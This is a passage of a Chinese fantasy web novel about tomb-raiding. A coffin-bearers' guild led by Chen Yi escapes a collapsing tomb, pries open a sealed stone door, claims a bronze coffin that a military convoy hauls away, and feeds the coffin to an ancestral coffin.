而现在,一条由棺材和疯子们搭起来的生路,就这么野蛮地横亘在所有人面前。
“看什么?等着水银淹过来给你们收尸吗?”
陈义冰冷的声音,击碎了墓穴中的死寂。
他的目光扫过那群面无人色的摸金校尉。
“我义字堂的兄弟,是这桥的墩。”
“你们,是过桥的客。”
“八爷……这……这怎么过?”张三爷的嘴唇剧烈哆嗦,他“然血开眼”的视野里,那两条绳索根本不是实物。
那是两道悬在无尽煞气与混沌气流之上的阳气流,深渊下的阴风一吹,随时都会断裂!
“你望气,我过桥。”
陈义的回答言简意赅,不给任何人质疑的余地。
“你负责看路,告诉我哪里是生门,哪里是死穴,剩下的,交给我们。”
他转向自己的兄弟们,声音沉凝如铁。
“换阵,‘八仙渡海’!”
“步子踩稳,气连上了,今天咱们不抬棺,抬人过去!”
“是!”
七声怒吼,整齐划一。
义字堂众人气息再变,原本外放的阳刚气焰瞬间内敛,七人之间的气机通过脚下玄妙的步点,紧密地连接在一起,浑然一体。
“张三爷,带路!”陈义厉喝。
张三爷浑身一激灵,他知道自己已无退路。他猛地一咬舌尖,剧痛强行压下恐惧,双眼中的血光再度暴涨。
“左三右四!走‘坎’位!避开脚下三寸的‘离魂风’!”
他嘶哑地吼出第一个指令,声音仿佛被砂纸磨过。
陈义不再多言,第一个踏上了左侧的缚龙索。
他的脚尖轻点,动作看似轻盈,整个人的重心却稳如泰山。
他没有看脚下的万丈深渊,目光如炬,直视着对岸那口象征着规矩与责任的青铜巨棺。
“跟上!”
胖三一咬牙,骂骂咧咧地跟了上去:“**,这他妈是钢丝上跳探戈啊!回去这趟活儿必须加钱!还得加精神损失费!”
他嘴上抱怨,脚下的步法却丝毫不乱,每一步都精准地踩在陈义走过的位置。
义字堂的兄弟们鱼贯而上。
八个人,踏在两条细细的绳索上,却走出了平地的感觉。
他们的呼吸、心跳、步伐,通过无形的阵法连为一体,在深渊之上,强行撑开了一道稳固的“阳气廊道”,将周围呼啸的阴风死死挡在外面。
“到你们了!”陈义头也不回地喝道。
摸金校尉们你看看我,我看看你,腿肚子都在疯狂打转。
“八爷……这……”
“不想死的,就跟上张三爷的口令!”
“艮位!走‘之’字步!快!煞气要涨上来了!”张三爷的吼声如同催命符。
一个年轻的摸金校尉牙一咬,心一横,学着陈义的样子也踏了上去。
“啊!”
他刚一上岸,脚下瞬间一滑,整个人立刻朝深渊坠去!
千钧一发!
跟在他身后的猴子眼神一凝,手臂闪电般探出,一把抓住他的后衣领,像是拎小鸡一样,硬生生将他提了回来。
“稳住心神!跟着我们的步伐走!”猴子低吼道。
那摸金校尉吓得魂飞魄散,连滚带爬地稳住身形,再也不敢有丝毫分心。
就这样,一支诡异的队伍在百米深渊之上,开始了亡命行军。
张三爷以寿元为引,在混沌中窥探那一线生机。
“过三步,停一息!等‘穿心煞’过去!”
“向右并一步!踩‘震’位!”
陈义和他的义字堂兄弟,则以“八仙阵”为基,将这虚无缥缈的生机之路,强行踏成一条可以通行的阳关道!
盗墓的“望气术”和抬棺的“阵法”,在这一刻,以一种匪夷所思的方式,完美结合。
“轰隆——!”
身后传来一声巨响。
“八爷!迎宾棺撑不住了!”胖三回头看了一眼,骇然叫道。
那口百年柳木棺剧烈震颤,棺口吞吐的阳气已经变得极不稳定,汹涌的水银巨浪正一次次拍打着这道最后的防线,眼看就要崩溃。
“所有人,加速!”
陈义的声音里透出一股不容置疑的杀伐之气。
队伍的速度瞬间加快。
当最后一个摸金校尉连滚带爬地踏上对岸的岩石时,所有人都虚脱般地瘫倒在地,大口大口地喘着粗气。
“哗啦——!”
几乎是同一时间,身后的缚龙索猛地一松。
迎宾棺的防线彻底崩溃,狂暴的水银长河瞬间吞没了他们刚刚站立的平台,狠狠撞在崖壁上,发出震天动地的巨响。
众人看着身后那片银色的死亡之海,后怕得冷汗直流。
再晚上片刻,他们所有人都会被吞噬得连渣都不剩。
“还没完。”
陈义的声音让瘫软的众人一个激灵。
他站在队伍的最前方,目光落在那口深深嵌入山岩的青铜巨棺上。
“桥是过来了,可咱们的‘船’还在对岸。”
张三爷挣扎着爬起
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来,看着那口棺材,脸上满是苦涩:“八爷,这……这棺材嵌进山里了,怕是……弄不出来了。”
“我义字堂抬出去的棺,就没有抬不回来的道理。”
陈义冷笑一声。
“张三爷,你的活儿还没干完。”
“还……还有什么?”
“给我望气!”
陈义指着那口青铜棺,一字一顿。
“我要你找出这山体岩石的‘泄气口’!冠军侯布这个局,棺椁与山脉地气相连,必然留有一个最薄弱的节点,就是它!”
张三爷一愣,随即明白了陈义的意思。
他是要……把撬山的那一套,用在撬棺材上!
他不敢怠慢,再次强催“燃血开眼”,双目死死盯住青铜棺与岩石的结合处,无数复杂的气脉在他眼中浮现、交织。
“义字堂,归位!”陈义沉声喝令。
刚刚落地的七个兄弟,没有丝毫犹豫,立刻翻身而起,以青铜巨棺为中心,再次摆开了“八仙抬棺”的阵势。
这一次,他们不再是“扛”,也不是“托”,而是摆出了一个准备发力的“撬”的姿势。
“找到了!”张三爷猛地伸出手指,指向棺材左下方三尺处的一块毫不起眼的岩石,“就是那里!‘惊门’转‘伤门’的节点!那是整座山煞气流转的‘结’!”
“好!”
陈义眼中精光爆射。
他将体内残存的【炎黄令】紫金龙气毫无保留地注入脚下。
“八仙归位,听我号令!”
他没有去碰棺材,而是将自己也化作了阵法的一部分,成了那根无形“杠杆”的支点。
“用咱们的规矩,告诉这位侯爷……”
陈义的声音传遍整个山洞,带着一种不容抗拒的威严。
“到点,该上路了!”
“起——!”
一声暴喝!
义字堂七人同时发力,七股凝练到极致的阳刚之力,化作一道无形的巨力,顺着张三爷所指的那个“结”,精准无比地轰了进去!
“咔嚓——!”
一声脆响,仿佛千年寒冰碎裂。
那块被煞气浸染了千年的岩石节点,应声而碎!
“轰隆隆!”
整座山体发出痛苦的呻吟。
那口被死死钉在峭壁上的青铜巨棺,在七人的合力之下,竟被硬生生从山体中……撬了出来!
棺材带着大片的碎石,轰然坠地。
地面剧烈一震,烟尘四起。
棺材内的撞击声,比之前任何一次都要狂暴、猛烈,一头绝世凶兽即将在里面彻底苏醒。
陈义稳稳落地,看着那口躁动不安的青铜棺,嘴角却勾起一抹冷冽的弧度。
“走吧。”
他对着身后已经彻底看傻了的摸金门众人,平静地说道。
“路,该我们自己开了。”
第121章 撬开天门!这才是抬棺匠的规矩!
巨响,然后是死寂。
烟尘弥漫中,蛛网般的裂纹爬满了整座石门。
可它,没碎。
更让人心胆俱裂的,是那阵令人牙酸的摩擦声。
“嘎……吱……吱……”
布满裂纹的巨门,非但没有被撞开,反而在地动山摇的巨力下,依旧按照它自己的节奏,一寸,一寸,坚定不移地向内闭合。
一股磅礴的反震之力,如怒涛拍岸,悍然回卷!
“噗!”
义字堂八人如遭重锤,连同那口万钧之重的青铜棺,被硬生生推得向后滑出数米,在坚硬的岩石地面上犁出八道深深的沟壑!
胖三再也撑不住,一口腥甜的老血喷在身前的杠木上,整个人晃了三晃,险些栽倒。
“八爷……这,这门是拿龙龟壳做的吗?!”
比这更可怕的,是脚下的青铜棺。
棺内的撞击声在停顿了一瞬后,以一种比之前狂暴十倍的频率疯狂炸响,仿佛那头被彻底激怒的绝世凶物,正在用最原始的冲撞,嘲笑着外面这群蝼蚁的无能。
完了。
这两个字,清晰地写在每一个摸金校尉死灰般的脸上。
路,马上就要被彻底封死。
“咳……咳咳!”
张三爷瘫在地上,剧烈地咳嗽着,每咳一下,嘴角都溢出黑色的血丝。
他死死盯着那扇仍在闭合的巨门,浑浊的眼中,忽然闪过一丝骇人的精光。
“不对……不对!”他嘶哑地喊道,声音里带着一种勘破生死的癫狂,“我们都想错了!”
陈义稳住身形,体内被震得翻江倒海的气血被他强行压下,目光从巨门上移开,落在了张三爷身上。
“这不是门……”
张三爷挣扎着,用尽力气抬起手指,指向那扇门,声音因激动而颤抖。
“这是一把锁!”
“一座用整座山的龙脉当锁芯,用山体的重量做锁身的……绝世大锁!”
“硬撞,是拿鸡蛋碰石头,是自寻死路!”
墓中之墓,龙脉为锁。
八个字,如八柄淬了寒冰的尖刀,捅进在场所有人的心脏。
“那怎么办?”猴子急得满头大汗,“等它关上了,咱们就真成罐头里的肉了!”
“分金定穴……对,分金定穴!”
张三爷眼中爆发出惊人的神采,仿佛溺水之人抓住了唯一的浮木。
“我摸金一脉,看的是山川走向,寻的是龙脉节点!我能找到这把‘锁’的锁眼!”
他猛地看向陈义。
眼神灼热得像是要燃烧起来。
“八爷!你们抬棺匠的本事,不止是撞,更是‘撬’!”
“我来分金定穴,给你找出真正的‘锁眼’!”
“你们用‘八仙抬棺’的阵法,把这口棺材当成撬棍,用你们的规矩,撬开它的规矩!”
用摸金校尉的“术”,定位。
用抬棺匠的“法”,开门。
这是一个疯狂到极致,却又唯一可行的办法。
陈义看着张三爷,看着他眼中那股不疯魔不成活的决绝,缓缓地点了点头。
“好。”
一个字,重若千钧。
得到肯定的张三爷,精神猛地一振,从地上坐起。
他不再理会身上的伤,双手飞快地结出一个繁复的法印,一口精血喷在眼前虚空。
“天地无极,乾坤借法!开我……阴阳眼!”
他双眼中原本已经黯淡的血光,再次暴涨,两行血泪顺着脸颊流下,整个人瞬间苍老了十岁。
可他的目光,却变得前所未有的清澈,穿透了那扇厚重的石门,直视其后纠缠不清的龙脉地气。
“义字堂,换位!”陈义沉声喝道。
无需多言,七个汉子强忍着内腑的翻腾,迅速变换位置。
原本一字排开、用于冲撞的阵型,瞬间变成了一个侧向发力的倾斜阵型。
他们将青铜棺的一角死死抵在地上,另一角高高抬起,乌木杠木斜斜地压在肩上。
八个人,一口棺,组成了一柄即将撼动天地的巨大撬棍。
“找到了!”
张三爷猛地发出一声凄厉的嘶吼,伸出颤抖的手指,指向巨门上“归”字的最后一笔。
“就是那里!‘归’字捺笔的末梢!那是整座龙脉的‘关元穴’,是锁芯的转轴!撬它!”
就是现在!
陈义的眼中,紫金光芒一闪而逝。
他没有发出震天的咆哮,所有的力量都内敛
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到了极致,化作一个字,从牙缝里挤了出来。
“撬!”
“嗬!”
八人同时发出一声整齐划一的闷哼,脚下的山岩瞬间龟裂如蛛网。
他们将残存的所有气力,连同那股不认命的狠劲,全部灌注进了肩上的杠木。
这一次,没有惊天动地的巨响。
取而代之的,是一阵沉闷而悠长的、仿佛来自远古的苍凉声响。
“嘎——啦——”
那不是齿轮转动。
那是山峦的骨骼在呻吟,是大地龙脉被强行扭转的悲鸣!
在所有人不敢置信的注视下,那扇被他们用尽全力也无法撞开的“归墟”巨门,以张三爷所指的那个点为轴心,竟然……缓缓地,向内旋转打开!
它真的不是一扇门,而是一把锁!
一把被陈义用青铜棺当钥匙,硬生生撬开的绝世大锁!
随着巨门的开启,一股夹杂着泥土与松木清香的新鲜空气,猛地灌了进来。
外面,是夜。
清冷的月光,如同水银泻地,照亮了门后通往外界的甬道。
路,开了。
“轰隆!”
巨门彻底旋开,稳稳地卡在山壁之中。
义字堂八人再也支撑不住,齐齐松开了杠木。
青铜巨棺重重地砸在地上,发出沉闷的巨响。
这一次,棺内那头凶物,却诡异地安静了下来,再无半点声息。
胖三、猴子、大牛……七个汉子,有一个算一个,全都软倒在地,大口大口地喘着粗气,连一根手指头都不想再动。
那群摸金校尉,也全都瘫坐在地,看着门外那片熟悉的夜空,先是愣了半晌,随即爆发出劫后余生的狂喜哭嚎。
“出来了!我们真的出来了!”
张三爷在吼出那个“撬”字后,便耗尽了最后一丝心神,直挺挺地向后倒去,彻底昏死过去。
一片混乱中,唯有陈义,还撑着乌木杠木,站在原地。
他看着门外那轮皎洁的明月,感受着拂过脸颊的夜风,胸口剧烈起伏。
成了。
用摸金校尉的“术”,走抬棺匠的“路”。
这京城的天,也该好好见识一下,什么叫义字堂的规矩了。
第122章 这棺材,归我了!
夜风带着山野的清冽,吹散了古墓中沉积千年的腐朽。
月光如水,洒在黑风口狼藉的废弃工厂外,将一道道瘫倒在地的身影拉得老长。
劫后余生的狂喜,在短暂的宣泄后,迅速被一种深入骨髓的疲惫所取代。
胖三第一个受不了,四仰八叉地躺在地上,胸膛剧烈起伏,嘴里哼哼唧唧,像个破了的风箱。
“我的妈呀……我这身肥膘算是交代了……八爷,下次再有这种活,价钱得翻十倍!不,一百倍!还得给我买工伤保险!”
猴子和大牛也好不到哪去,一个躺着望天,眼神发直;另一个则盘膝坐着,闭目调息,但那张黝黑的脸庞,却白得像纸。
其余兄弟,有一个算一个,全都跟烂泥似的,恨不得就此长在地上。
那群幸存的摸金校尉,更是凄惨,抱着头缩在一旁,看着陈义的眼神,像是看着从地狱里爬出来的活阎王。
一片混乱的喘息声中,唯有陈义,还撑着那根乌木杠木,站在原地。
他没有看自己的兄弟,也没有看那些摸金校尉,目光穿过人群,落在了昏死过去的张三爷身上。
他迈步走了过去。
脚步声不重,却像踩在每个人的心尖上。
一个摸金校尉鼓起勇气,颤巍巍地爬过来,抱住陈义的裤腿,带着哭腔哀求:“八爷!八爷!求您高抬贵手,我们掌舵的……”
陈义低头,瞥了他一眼,没说话。
他蹲下身,伸手在张三爷的脖颈动脉上探了探,又翻开他的眼皮看了看。
“死不了。”
陈义站起身,淡淡地吐出三个字。
那摸金校尉浑身一哆嗦,仿佛听到了天大的恩赦。
“只是耗空了心神,油尽灯枯,睡个十天半个月,也就醒了。”
陈义的目光从张三爷身上移开,扫过那群摸金校尉,最后,落在了那口静静躺在地上的青铜巨棺上。
“他醒了,可咱们的事,还没完。”
胖三一听,哀嚎一声:“八爷,还来啊?我骨头都快散架了!”
“闭嘴。”
陈义头也不回地呵斥了一句。
他走到那群噤若寒蝉的摸金校尉面前,用杠木的末端,轻轻敲了敲地面。
“咚。”
声音不大,却让所有摸金校尉的心都跟着狠狠一跳。
“抬棺契,还认吗?”陈义问道。
为首的摸金校尉连滚带爬地跪好,头磕得邦邦响:“认!认!八爷的规矩,我们认!”
“好。”
陈义点点头,用杠木指向那口青铜棺。
“契约上写得明明白白,我义字堂负责把这口棺材给你们抬出来。现在,棺材在这儿。”
他顿了顿。
“你们要的太一真丹,也在里面。我陈义说话算话,东西给你们送到了。”
“现在,轮到你们了。”
“抬走吧。”
三个字,轻飘飘的,却让所有摸金校尉感觉呼吸都被扼住了。
抬走?
开什么玩笑!
别说他们现在个个带伤,就算是全盛时期,摸金一派的功夫全在“分金定穴”,什么时候干过这种纯粹的力气活?
更何况,这口棺材里封着的是什么?
一头刚刚升仙失败,怨气能把天都捅个窟窿的绝世凶物!
谁敢碰?
谁能抬?
为首的摸金校尉脸都绿了,哭丧着脸:“八爷,您这不是为难我们吗?我们……”
“为难?”陈义眉毛一挑,“白纸黑字,血印为证。你们摸金门的人,连祖师爷立下的契约都不认了?”
一句话,直接把所有人的退路都堵**。
违背契约的下场,张三爷昏迷前那凄厉的惨叫,还回荡在他们耳边。
“我……”那摸金校尉彻底傻了,跪在地上,进退两难,急得满头大汗。
“当然,”陈义话锋一转,慢悠悠地说道,“我义字堂也不是不讲道理的人。看在你们掌舵的也算出了份力的份上,我可以给你们指条明路。”
那摸金校尉像是抓住了救命稻草,猛地抬头:“请八爷示下!”
陈义用杠木点了点青铜棺:“这东西,你们抬不走,也惹不起。不如,就由我义字堂代为处理。”
“这叫……售后服务。”
胖三眼睛一亮,立马从地上弹了起来,凑到陈义身边,掐着指头开始算账:“对对对!售后服务!这棺材的回收处理费,环境污染风险金,还有我们兄弟的精神损失费,误工费,营养费……”
陈义一个眼神扫过去。
胖三立马把后半截话咽了回去,嘿嘿干笑两声,退到了一边。
“八爷的意思是……”摸金校尉小心翼翼地问。
“很简单。”
陈义伸出三根手指。
“第一,这口棺材,连同里面的东西,现在姓陈了。你们摸金门,从此不许再提,不
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许再想。”
“第二,”陈义的目光落在那摸金校尉腰间挂着的一个古朴罗盘上,“张三爷的‘七巧分金盘’,我看就不错。算作这次的劳务费,不过分吧?”
那摸金校尉脸色瞬间惨白。
这份金盘是他们这一支的镇派之宝,是吃饭的家伙!
可他看着陈义那平静无波的眼神,再看看那口仿佛随时会炸开的青铜棺,哪敢说半个“不”字。
他咬咬牙,哆哆嗦嗦地解下罗盘,双手奉上。
陈义没接,示意猴子拿过来。
“第三,”陈义的声音沉了下来,带着一股不容置疑的威严,“从今往后,这京城的地界,凡是动土见血的活儿,无论是阳宅阴坟,都得先来我义字堂递个话,拜个山头。”
“我义字堂说能动,你们才能动。”
“我义字堂说不行,天王老子来了,也得把铲子给老子放下!”
“我不管你们以前是什么规矩,现在,我说的,就是规矩!”
话音落下,整个黑风口鸦雀无声。
这已经不是要钱,不是要宝贝了。
这是要划定整个京城地下世界的秩序!
这是在……封王!
那摸金校尉瘫在地上,半晌,才从牙缝里挤出一个字:
“……是。”
他知道,从今天起,京城的天,真的变了。
“很好。”
陈义满意地点点头,像是办完了一件微不足道的小事。
他转过身,看着自己那七个累得快断气的兄弟,咧嘴一笑。
“都起来,别装**。干活!”
胖三哀嚎道:“八爷,真抬啊?这玩意儿怎么弄回去?咱们八个人,抬到明年也抬不进城啊!”
陈义走到青铜棺前,将手掌轻轻按在冰冷的棺盖上。
那股狂暴的撞击声消失后,棺内就陷入了一种诡异的死寂。
但此刻,陈义的手掌下,却能感受到一种极其微弱,但极有规律的脉动。
就像一颗沉睡的,巨大的心脏。
它在吸收了太一真丹的能量后,非但没有消亡,反而进入了一种更深层次的蜕变。
陈义收回手,眼中闪过一丝无人察觉的炽热。
这趟,来值了。
他回头,对着胖三大声吩咐道:
“给秦老打电话。”
“告诉他,我在黑风口,捡了块废铁。”
“让他派辆车来拉。要大的,能拉坦克的最好。”
第123章 八爷的废铁,要用坦克来拉!
胖三举着手机,脸上的肥肉一抽一抽的,表情比刚才哭丧还难看。
“八……八爷,真打啊?”
他结结巴巴地问,声音里带着一丝绝望。
“跟秦老说,咱们捡了块能拉坦克的废铁?他老人家会不会以为我疯了,直接派人把我送精神病院去?”
“让你打,你就打。”
陈义眼皮都没抬一下,从猴子手里接过那个古朴的“七巧分金盘”,手指在冰凉的盘面上轻轻摩挲着。
罗盘入手极沉,材质非金非木,上面刻满了密密麻麻的符文和星宿方位。
中央一根细如牛毛的磁针,即便在刚才那般天崩地裂的动静中,依旧稳稳地指向一个方向,透着一股子超越凡俗器物的灵性。
这确实是个好东西。
胖三见陈义心意已决,哭丧着脸,哆哆嗦嗦地划开手机屏幕,找到了那个他只在梦里拨通过的号码。
电话响了三声,被迅速接起。
一个沉稳干练的男声传来,带着一股身居高位的疏离感。
“哪位?”
“呃……您好,我,我找秦老。”胖三紧张得舌头都快打结了。
“**正在休息,有什么事可以跟我说,我会转达。”对方的语气礼貌但冰冷,显然没把这个深夜的陌生来电当回事。
胖三深吸一口气,把心一横,按照陈义的吩咐,用一种自己都觉得荒诞的语气说道:“那个……是我们八爷,陈义,他……他在京郊黑风口,捡了点……捡了点废铁。”
电话那头沉默了。
足足五秒钟。
胖三的额头上已经渗出了细密的汗珠,他几乎能想象到对方在电话那头翻白眼的样子。
“废铁?”
对方的语气里带着一丝压抑的古怪,仿佛在确认自己是不是听错了。
“对!废铁!”胖三破罐子破摔,嗓门都大了起来,“我们八爷说了,让您派辆车来拉。要大的!能……能拉坦克的那种最好!”
说完,胖三自己都觉得脸上臊得慌,恨不得找个地缝钻进去。
这叫什么事儿啊!义字堂什么时候干过收废品的活儿?
然而,电话那头的反应却完全出乎他的意料。
又是一阵短暂的沉默后,那个沉稳的声音再次响起,这次却带上了一种不容置疑的严肃与郑重。
“知道了。黑风口废弃炼钢厂是吗?”
“啊?对对对!”胖三一愣。
“把你们的具体位置共享过来。车,半小时内到。请陈先生他们原地待命,注意安全。”
“嘟……嘟……嘟……”
电话**脆利落地挂断了。
胖三举着手机,呆若木鸡。
这就……完了?
没被当成神经病?
还真派车来?
而且听这口气,派的还不是一般的车!
他扭头看向陈义,眼神里充满了迷茫和敬畏。
八爷的面子,到底有多大?
陈义没理会胖三的震惊,他把玩着手里的分金盘,目光转向那群还瘫在地上的摸金校尉。
他的眼神很平静,却让那些刚刚从鬼门关爬回来的人,齐齐打了个冷颤。
“把你们的掌舵人带上。”
陈义的声音不带一丝温度。
“还有地上那些,能动的,不能动的,都收拾干净。”
他用下巴指了指远处那些在激战中被波及,死状凄惨的摸金校尉尸体。
“我义字堂的地盘,不留过夜的垃圾。”
为首的那个摸金校尉浑身一颤,连滚带爬地站起来,对着陈义深深一躬。
“是!是!我们马上就走!马上!”
他招呼着剩下的几个同伴,七手八脚地去搀扶昏死过去的张三爷,又去拖拽那些尸体,动作狼狈,却不敢有丝毫怨言。
路过那口青铜巨棺时,他们甚至下意识地绕了一个大圈。
仿佛那不是一口棺材,而是随时会喷发的火山。
陈义看着他们仓皇离去的背影,声音不大,却清晰地传进每个人的耳朵。
“记住今天的规矩。”
“下次再想动土,知道该先去哪儿拜山头。”
那为首的摸金校尉一个趔趄,差点摔倒,头也不敢回,只是声音发颤地应了一声。
“小……小的不敢忘!”
很快,黑风口再次安静下来,只剩下义字堂八兄弟和那口巨大的青铜棺。
夜风吹过,带着劫后余生的凉意。
大牛盘膝坐在地上,默默擦拭着他的金瓜锤。
猴子和老七则有气无力地收拾着“缚龙索”之类的工具,一个个累得像被霜打了的茄子。
“八爷,”猴子有气无力地开口,“这玩意儿……咱们真要拉回苏家老宅啊?这……这也太扎眼了吧?”
陈义走到青铜棺前,将手掌再次按在棺盖上。
那股狂暴的撞击感已经彻底消失。
取而代之的,是一种极其微弱,却沉稳有力的脉动。
一下。
一下。
仿佛一颗被**了千年的心脏,在吸收了“太一真丹”的磅礴能量后,正缓缓复苏。
“扎眼?”
陈义笑了,那笑意却未达眼底。
“我就是要让某些人看看,什么东西,是他们碰都不能碰的。”
他收回手,目光望向远处山路的尽头。
没过多久,一阵低沉的引擎轰鸣声由远及近,打破了山野的宁静。
不是一辆车。
而是一个车队。
两辆漆黑的、挂着特殊牌照的越野车开道,车灯如同利剑,划破夜幕。
紧随其后的,是一辆庞然大物。
一辆军绿色的、拥有十二个巨大轮胎的重型军用平板运输车。
这车,平日里是用来运载主战坦克和重型装甲的,此刻出现在这里,车板上空空如也,却自带着一股钢铁洪流般的压迫感。
车队在距离众人几十米外停下。
越
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野车门打开,几名身穿黑色作战服,神情冷峻的男子迅速下车,动作标准地散开,警戒四周。
从平板车上,则跳下来一个身穿军官制服的中年人。
他快步走到陈义面前,立正,敬了一个标准的军礼。
“陈先生!奉秦老之命,前来协助!请指示!”
胖三的嘴巴张得能塞下一个鸡蛋。
他揉了揉眼睛,又掐了掐自己的大腿。
疼!
不是做梦!
这**哪是来拉废铁的?这是来拉**的阵仗吧!
“我靠……”胖三喃喃自语,“这废铁……面子是真**大啊……”
陈义对军官点了点头,算是回礼。
“辛苦了。”
他指了指身后的青铜棺。
“就是它,弄上去。”
军官看了一眼那口巨大的青铜棺,眼中闪过一丝惊异,但没有多问,立刻转身,对着对讲机下令。
“起重吊臂准备!目标,前方青铜器!注意,轻拿轻放!”
重型运输车发出一阵液压系统工作的声音,一条粗壮的机械吊臂缓缓升起,前端的钢索挂钩在月光下闪着寒光。
“八爷,咱们……”大牛站起身,活动了一下筋骨。
“不用。”陈义摆了摆手,“让他们来。咱们的力气,得省着用在正地方。”
兄弟几人看着那现代化的钢铁巨兽,再看看自己手里的杠木、绳索,一时间都有些恍惚。
他们仿佛是两个时代的人。
用最古老的方式,处理着最古老的问题。
却在最后,由这个崭新的世界,以最顶级的力量,来为他们收尾。
在军官的指挥下,几名士兵小心翼翼地用特制的宽大绑带将青铜棺固定。
随着吊臂缓缓收紧,那口重逾万钧、让义字堂八兄弟拼尽全力的巨棺,在一阵令人牙酸的金属摩擦声中,被一寸寸地吊离了地面。
最终,在一声沉重的闷响中,青铜巨棺被稳稳地安放在了平板车的中央,并被数条粗大的锁链牢牢固定。
军官再次走到陈义面前,报告道:“陈先生,已装载完毕。现在返回?”
“回吧。”陈义点了点头。
他招呼着已经累到极限的兄弟们上了其中一辆越野车。
自己则拉开副驾驶的车门,坐了进去。
车队缓缓启动,调转方向,驶离了这片狼藉的黑风口。
陈义没有回头,他的目光透过车窗,落在那辆平板车上。
月光下,青铜巨棺静静地躺着,像一头被囚禁的远古巨兽,虽然被锁链捆绑,却依旧散发着令人心悸的恐怖气息。
他能感觉到,那股沉睡的心跳,似乎又强了一分。
陈义闭上眼睛,靠在椅背上。
脑海中,苏家老宅地下密室里,那口更加庞大、更加古老的青铜巨棺的轮廓,渐渐清晰。
老祖宗……
这次的菜,硬了点。
开饭了。
第124章 老祖宗:这顿饭,够硬!
夜色沉得像化不开的墨。
重型卡车的轰鸣声在胡同口戛然而止。
那口青铜巨棺横陈在车板上,像一头被锁链缚住的史前凶兽,透着股子让人骨头缝里冒凉气的凶戾。
胖三坐在越野车里,眼皮一直跳个不停。
他偷偷掀开车窗帘,看着前面那辆载着巨棺的十二轮重卡,心里直突突。
“猴子,你掐我一下。”
猴子眼皮都没抬,声音里透着股子虚脱后的沙哑:“别闹,没力气。”
“不是,我总觉得这事儿悬乎。”胖三声音压得极低,“咱们这算是……给国家干活了?”
猴子瞥了一眼驾驶位上那个坐得像钢板一样笔直的军人,自嘲地笑了笑。
“咱们是干苦力的,人家是卖力气的,分工不同。”
车队绕开了繁华的主干道,穿过几条死寂的老胡同,最后死死地卡在苏家老宅那扇朱红大门前。
军官跳下车,看着不足三米宽的胡同,眉头拧成了疙瘩。
“陈先生,车太大了,进不去。”
“不劳烦。”
陈义推开车门,黑色的对襟大褂在夜风中猎猎作响。
他径直走到重卡后方,仰头看着那口被玄铁锁链缠得密不透风的青铜棺。
“剩下的,是义字堂的规矩。”
陈义回头扫了一眼累得快脱相的兄弟们,语气平淡,却透着股子不容置喙的威严。
“下车,起灵。”
胖三几人哀嚎一声,还是咬着牙从车里钻了出来。
几个全副武装的士兵站在一旁,眼底藏着好奇,他们想看看这几个看起来快虚脱的民工,怎么搬动这几十吨重的大家伙。
义字堂七人各自站位,步子迈得松散,甚至有些摇晃。
陈义没去抓杠木。
他只是伸出一只手,指尖轻轻搭在冰冷的棺身侧面。
“义字当头。”
他开口,声音在胡同里荡开。
“百无禁忌!”
身后七人齐声嘶吼,原本涣散的气势在这一刻陡然凝聚,像是一把出鞘的重剑。
“起!”
陈义的手掌猛地向下一压。
整条胡同的空气似乎在那一刻被抽干。
那口重逾万钧的青铜巨棺,在众目睽睽之下,竟无声无息地脱离了车板。
没有起重机,没有撬棍。
它就那么平稳地悬浮在半空,离地三寸。
那些原本紧绷的玄铁锁链,像是失去了支撑,哗啦啦地散落在车板上。
陈义转身迈步,巨棺便如同一头温顺的巨象,悄无声息地跟在他身后,滑入了苏家老宅的窄门。
军官维持着敬礼的姿势,整个人僵在原地。
他见过坦克冲锋,见过**升空,却从没见过这种能让地心引力失效的“规矩”。
……
苏家老宅,地下密室。
这里的空气比外面冷了十倍,带着股子陈年旧土的味道。
那口从冠军侯墓里抬出来的青铜棺被重重地顿在正中央。
它像是个闯入禁地的囚徒,在不安地颤动,棺材底座与地面摩擦,发出刺耳的声音。
陈义站在密室门口,没让兄弟们离开。
他要让这些人明白,他们守着的这块招牌,到底承载着什么样的因果。
陈义走到密室深处那口更庞大、更古老的青铜棺前。
他曲起手指,轻轻叩了叩棺盖。
“咚。咚。”
声音沉闷,却像是直接砸在人的灵魂深处。
密室深处,那个沉寂了许久的心跳声,猛地重了一拍。
一股极其强烈的、源自生命本能的饥渴感,瞬间席卷了整个空间。
胖三只觉得脖子后面凉飕飕的,像是有个看不见的怪物正对着他流哈喇子。
“八……八爷,我怎么觉得这儿……有点饿?”
陈义没理会胖三的废话。
他凝视着那口凶威赫赫的冠军侯棺,嘴角勾起一抹冰冷的弧度。
“老祖宗,开饭了。”
话音未落。
那口亘古不动的巨大青铜棺,猛地颤了一下。
一股无法用言语形容的吸力,从巨棺内部爆发。
那是高位阶对低位阶的绝对碾压。
那口冠军侯凶棺像是感觉到了天敌,棺身剧烈抖动,试图向后退缩。
但没用。
“咔嚓!”
厚达数寸的青铜棺壁,在无形的吸力下,像碎纸片一样崩裂。
凶棺被一点点拽入虚空,被揉碎,被分解。
那些足以让普通人发疯的千年怨毒和庚金之气,被一股脑地吸进了老祖宗的腹中。
太一真丹化作一道耀眼的紫光,在半空挣扎了不到一秒,便被彻底吞没。
至于棺材里那个还没来得及露脸的地煞将军,连声惨叫都发不出来,就被碾成了最
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原始的阴煞养料。
不到十秒钟。
密室中央空空如也。
那口曾经让摸金门全军覆没的绝世凶棺,消失得干干净净。
“嗝——”
一声轻微的、透着股子心满意足的饱嗝声,从老祖宗的棺材里传了出来。
紧接着,那沉稳的心跳声再次响起。
这一次,跳动声如洪钟大吕,震得整座苏家老宅的房梁都在微微颤抖。
胖三脚下一软,直接瘫在地上。
“它……它把棺材给吃了?”
陈义吐出一口浊气,眼中的紫金光芒渐渐隐去。
他能感觉到,自己和老祖宗之间的那根“弦”,变得更粗、更韧了。
“咔哒。”
老祖宗的棺身上,一个暗槽缓缓滑开。
一枚暗金色的龙鳞静静地躺在里面。
这枚鳞片不似之前的圆润,边缘布满了如刀刻般的伤痕,透着股血海尸山里杀出来的铁血味。
陈义指尖触碰的瞬间,脑海中浮现出四个大字。
【兵主之鳞】。
掌天下兵戈,破万世杀伐。
陈义将鳞片按入眉心,一股霸道至极的力量瞬间洗刷全身。
他再次拿出那面【病历铜镜】。
代表冠军侯墓的黑点已经彻底消失,取而代之的是一个灿烂的金点,正源源不断地向周围输送着生机。
然而。
镜面突然剧烈摇晃起来。
一抹浓郁得化不开的灰色死气,在镜子深处蔓延开来。
画面拉远,一座巍峨的山脉轮廓浮现。
那是五岳之首。
那是泰山。
在铜镜的视角下,整座泰山之巅,正被一团腐烂了千年的死气死死缠绕。
无数戴着帝王冠冕的虚影在死气中哀嚎,像是要将这座神山生生拖入地狱。
